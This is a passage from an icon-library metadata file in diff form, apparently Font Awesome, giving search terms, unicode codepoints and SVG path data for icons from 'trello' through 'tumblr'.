160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z" + } + }, + "free": [ + "solid" + ] + }, + "trello": { + "changes": [ + "3.2", + "5.0.0", + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "atlassian" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f181", + "label": "Trello", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861025, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z" + } + }, + "free": [ + "brands" + ] + }, + "trophy": { + "changes": [ + "1", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "achievement", + "award", + "cup", + "game", + "winner" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f091", + "label": "trophy", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635771, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z" + } + }, + "free": [ + "solid" + ] + }, + "truck": { + "changes": [ + "2", + "5.0.0", + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "cargo", + "delivery", + "shipping", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0d1", + "label": "truck", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635774, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" + } + }, + "free": [ + "solid" + ] + }, + "truck-loading": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "box", + "cargo", + "delivery", + "inventory", + "moving", + "rental", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4de", + "label": "Truck Loading", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635772, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "truck-monster": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "offroad", + "vehicle", + "wheel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f63b", + "label": "Truck Monster", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635772, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "truck-moving": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "cargo", + "inventory", + "rental", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4df", + "label": "Truck Moving", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635773, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "truck-pickup": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cargo", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f63c", + "label": "Truck Side", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635773, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "tshirt": { + "changes": [ + "5.0.13", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "clothing", + "fashion", + "garment", + "shirt" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f553", + "label": "T-Shirt", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635774, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z" + } + }, + "free": [ + "solid" + ] + }, + "tty": { + "changes": [ + "4.2", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "communication", + "deaf", + "telephone", + "teletypewriter", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1e4", + "label": "TTY", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635774, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" + } + }, + "free": [ + "solid" + ] + }, + "tumblr": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f173", + "label": "Tumblr", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861025, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 